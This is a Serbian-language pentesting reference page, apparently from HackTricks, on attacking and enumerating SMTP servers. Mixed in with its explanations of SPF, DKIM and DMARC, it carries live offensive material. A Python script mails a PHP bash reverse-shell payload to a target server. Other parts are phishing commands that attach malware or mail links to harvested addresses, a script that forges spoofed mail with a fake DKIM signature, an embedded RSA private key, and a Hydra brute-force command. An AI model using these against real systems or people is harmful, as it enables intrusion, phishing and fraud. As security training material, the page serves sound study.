25,465,587 - Pentesting SMTP/s

Reading time: 19 minutes

Osnovne informacije

Simple Mail Transfer Protocol (SMTP) je protokol koji se koristi unutar TCP/IP paketa za slanje i primanje e-pošte. Zbog svojih ograničenja u redosledu poruka na strani primaoca, SMTP se često koristi zajedno sa POP3 ili IMAP. Ovi dodatni protokoli omogućavaju korisnicima da čuvaju poruke na serveru i da ih periodično preuzimaju.

U praksi, uobičajeno je da programi za e-poštu koriste SMTP za slanje e-pošte, dok koriste POP3 ili IMAP za primanje. Na sistemima zasnovanim na Unix-u, sendmail se ističe kao SMTP server koji se najčešće koristi za e-poštu. Komercijalni paket poznat kao Sendmail obuhvata POP3 server. Pored toga, Microsoft Exchange pruža SMTP server i nudi opciju uključivanja POP3 podrške.

Podrazumevani port: 25,465(ssl),587(ssl)

PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

EMAIL Headers

Ako imate priliku da naterate žrtvu da vam pošalje email (na primer, putem kontakt forme na veb stranici), učinite to jer možete saznati više o unutrašnjoj topologiji žrtve gledajući zaglavlja emaila.

Takođe možete dobiti email sa SMTP servera pokušavajući da pošaljete email na nepostojeću adresu (jer će server poslati napadaču NDN email). Ali, budite sigurni da šaljete email sa dozvoljene adrese (proverite SPF politiku) i da možete primati NDN poruke.

Trebalo bi takođe da pokušate da pošaljete različite sadržaje jer možete pronaći zanimljivije informacije u zaglavljima kao što su: X-Virus-Scanned: by av.domain.com
Trebalo bi da pošaljete EICAR test fajl.
Otkrivanje AV može vam omogućiti da iskoristite poznate ranjivosti.

Basic actions

Banner Grabbing/Basic connection

SMTP:

nc -vn <IP> 25

SMTPS:

openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

Pronalaženje MX servera organizacije

dig +short mx google.com

Enumeracija

nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

NTLM Auth - Otkriće informacija

Ako server podržava NTLM autentifikaciju (Windows), možete dobiti osetljive informacije (verzije). Više informacija ovde.

root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

Ili automatizujte ovo sa nmap pluginom smtp-ntlm-info.nse

Interno ime servera - Otkriće informacija

Neki SMTP serveri automatski popunjavaju adresu pošiljaoca kada se izda komanda "MAIL FROM" bez pune adrese, otkrivajući svoje interno ime:

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

Sniffing

Proverite da li možete da uhvatite neku lozinku iz paketa na portu 25

Auth bruteforce

Username Bruteforce Enumeration

Autentifikacija nije uvek potrebna

RCPT TO

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

VRFY

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown

EXPN

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost

Аутоматски алати

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>

DSN Izveštaji

Izveštaji o statusu isporuke: Ako pošaljete email organizaciji na nevažeću adresu, organizacija će vas obavestiti da je adresa nevažeća slanjem maila nazad vama. Zaglavlja vraćenog emaila će sadržati moguće osetljive informacije (kao što su IP adresa mail servisa koji su komunicirali sa izveštajima ili informacije o antivirusnom softveru).

Komande

Slanje Email-a iz linux konzole

sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

<phishing message>

swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

Slanje email-a sa Pythonom

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys

lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587

# create message object instance
msg = MIMEMultipart()

# setup the parameters of the message
password = ""
msg['From'] = "attacker@local"
msg['To'] = "victim@local"
msg['Subject'] = "This is not a drill!"

# payload
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250:
print("[-]Connection Error")
exit()

server.starttls()

# Uncomment if log-in with authencation
# server.login(msg['From'], password)

server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))

SMTP Smuggling

SMTP Smuggling ranjivost je omogućila zaobilaženje svih SMTP zaštita (pogledajte sledeći odeljak za više informacija o zaštitama). Za više informacija o SMTP Smuggling pogledajte:

SMTP Smuggling

Mail Spoofing Countermeasures

Organizacije su sprečene da imaju neovlašćene e-mailove poslati u njihovo ime korišćenjem SPF, DKIM i DMARC zbog lakoće lažiranja SMTP poruka.

potpun vodič za ove protivmere je dostupan na https://seanthegeek.net/459/demystifying-dmarc/.

SPF

Sender Policy Framework (SPF) je mehanizam koji omogućava Mail Transfer Agents (MTAs) da verifikuju da li je host koji šalje e-mail ovlašćen upitom na listu ovlašćenih mail servera koju definišu organizacije. Ova lista, koja specificira IP adrese/opsege, domene i druge entitete ovlašćene da šalju e-mail u ime domena, uključuje razne "Mehanizme" u SPF zapisu.

Mehanizmi

Sa Wikipedia:

Takođe je moguće identifikovati Kvalifikatore koji ukazuju šta treba učiniti ako se mehanizam poklapa. Podrazumevano se koristi kvalifikator "+" (tako da ako se bilo koji mehanizam poklapa, to znači da je dozvoljeno).
Obično ćete primetiti na kraju svake SPF politike nešto poput: ~all ili -all. Ovo se koristi da označi da ako pošiljalac ne odgovara nijednoj SPF politici, treba označiti e-mail kao nepouzdan (~) ili odbiti (-) e-mail.

Kvalifikatori

Svaki mehanizam unutar politike može biti prefiksiran jednim od četiri kvalifikatora kako bi se definisao željeni rezultat:

• +: Odgovara PASS rezultatu. Podrazumevano, mehanizmi pretpostavljaju ovaj kvalifikator, čineći +mx ekvivalentnim mx.
• ?: Predstavlja NEUTRAL rezultat, tretira se slično kao NONE (nema specifične politike).
• ~: Označava SOFTFAIL, služeći kao srednja tačka između NEUTRAL i FAIL. E-mailovi koji ispunjavaju ovaj rezultat obično se prihvataju, ali se označavaju u skladu s tim.
• -: Označava FAIL, sugerišući da bi e-mail trebao biti odbijen.

U sledećem primeru, SPF politika google.com je ilustrovana. Obratite pažnju na uključivanje SPF politika iz različitih domena unutar prve SPF politike:

dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

Tradicionalno je bilo moguće lažirati bilo koje ime domena koje nije imalo ispravan/nikakav SPF zapis. Danas, ako email dolazi sa domene bez važećeg SPF zapisa, verovatno će biti odbijen/označen kao nepouzdan automatski.

Da biste proverili SPF domena, možete koristiti online alate kao što su: https://www.kitterman.com/spf/validate.html

DKIM (DomainKeys Identified Mail)

DKIM se koristi za potpisivanje odlaznih emailova, omogućavajući njihovu validaciju od strane eksternih Mail Transfer Agents (MTAs) putem preuzimanja javnog ključa domena iz DNS-a. Ovaj javni ključ se nalazi u TXT zapisu domena. Da biste pristupili ovom ključi, potrebno je znati i selektor i ime domena.

Na primer, da biste zatražili ključ, ime domena i selektor su neophodni. Ovi podaci se mogu naći u email zaglavlju DKIM-Signature, npr., d=gmail.com;s=20120113.

Komanda za preuzimanje ovih informacija može izgledati ovako:

dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC (Domain-based Message Authentication, Reporting & Conformance)

DMARC poboljšava bezbednost e-pošte oslanjajući se na SPF i DKIM protokole. Definiše politike koje usmeravaju mail servere u upravljanju e-porukama sa određenog domena, uključujući kako se nositi sa neuspesima autentifikacije i gde slati izveštaje o radnjama obrade e-pošte.

Da biste dobili DMARC zapis, potrebno je da upitite poddomen _dmarc

# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

DMARC oznake

Šta je sa poddomenama?

Iz ovde.
Potrebno je imati odvojene SPF zapise za svaku poddomenu sa koje želite da šaljete e-poštu.
Sledeće je prvobitno objavljeno na openspf.org, koji je nekada bio odličan resurs za ovakve stvari.

Demon pitanje: Šta je sa poddomenama?

Ako dobijem e-poštu sa pielovers.demon.co.uk, i nema SPF podataka za pielovers, da li treba da se vratim jedan nivo i testiram SPF za demon.co.uk? Ne. Svaka poddomena na Demonu je različit kupac, i svaki kupac može imati svoju politiku. Ne bi imalo smisla da se politika Demona primenjuje na sve njegove kupce po defaultu; ako Demon želi to da uradi, može postaviti SPF zapise za svaku poddomenu.

Dakle, savet za SPF izdavače je sledeći: trebate dodati SPF zapis za svaku poddomenu ili ime hosta koje ima A ili MX zapis.

Sajtovi sa wildcard A ili MX zapisima takođe bi trebali imati wildcard SPF zapis, u obliku: * IN TXT "v=spf1 -all"

To ima smisla - poddomena može biti u različitoj geografskoj lokaciji i imati vrlo različitu SPF definiciju.

Otvoreni relaj

Kada se šalju e-poruke, osiguranje da ne budu označene kao spam je ključno. To se često postiže korišćenjem relaj servera koji je poverenik od strane primaoca. Međutim, uobičajeni izazov je to što administratori možda nisu potpuno svesni koje IP adrese su sigurne za dozvoliti. Ova nedostatak razumevanja može dovesti do grešaka u postavljanju SMTP servera, što je rizik koji se često identifikuje u bezbednosnim procenama.

Rešenje koje neki administratori koriste da izbegnu probleme sa isporukom e-pošte, posebno u vezi sa komunikacijom sa potencijalnim ili postojećim klijentima, je da dozvole veze sa bilo kojom IP adresom. To se postiže konfigurisanjem mynetworks parametra SMTP servera da prihvati sve IP adrese, kao što je prikazano u nastavku:

mynetworks = 0.0.0.0/0

Za proveru da li je mail server otvoreni relé (što znači da može proslediti email sa bilo kog spoljnog izvora), alat nmap se često koristi. Uključuje specifičan skript dizajniran za testiranje ovoga. Komanda za izvođenje detaljnog skeniranja na serveru (na primer, sa IP 10.10.10.10) na portu 25 koristeći nmap je:

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

Alati

• https://github.com/serain/mailspoof Proverite SPF i DMARC pogrešne konfiguracije
• https://pypi.org/project/checkdmarc/ Automatski dobijte SPF i DMARC konfiguracije

Pošaljite lažni email

• https://www.mailsploit.com/index
• http://www.anonymailer.net/
• https://emkei.cz/

Ili možete koristiti alat:

• https://github.com/magichk/magicspoofing

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----

Ili to možete uraditi ručno:

# Ovo će poslati nesigniranu poruku
mail("your_email@gmail.com", "Test Subject!", "hey! Ovo je test", "From: administrator@victim.com");

# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)

Više informacija

Pronađite više informacija o ovim zaštitama na https://seanthegeek.net/459/demystifying-dmarc/

Ostali indikatori phishinga

• Starost domena
• Linkovi koji upućuju na IP adrese
• Tehnike manipulacije linkovima
• Sumnjivi (neobični) dodaci
• Pokvareni sadržaj e-pošte
• Vrednosti koje se koriste i koje se razlikuju od onih u zaglavljima e-pošte
• Postojanje važećeg i pouzdanog SSL sertifikata
• Podnošenje stranice sajtovima za filtriranje web sadržaja

Ekstrakcija putem SMTP-a

Ako možete slati podatke putem SMTP-a pročitajte ovo.

Konfiguracioni fajl

Postfix

Obično, ako je instaliran, u /etc/postfix/master.cf se nalaze skripte za izvršavanje kada, na primer, novi mail bude primljen od strane korisnika. Na primer, linija flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} znači da će /etc/postfix/filtering biti izvršen ako novi mail bude primljen od korisnika mark.

Ostali konfiguracioni fajlovi:

sendmail.cf
submit.cf

Reference

• https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/
• https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/

HackTricks Automatske Komande

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'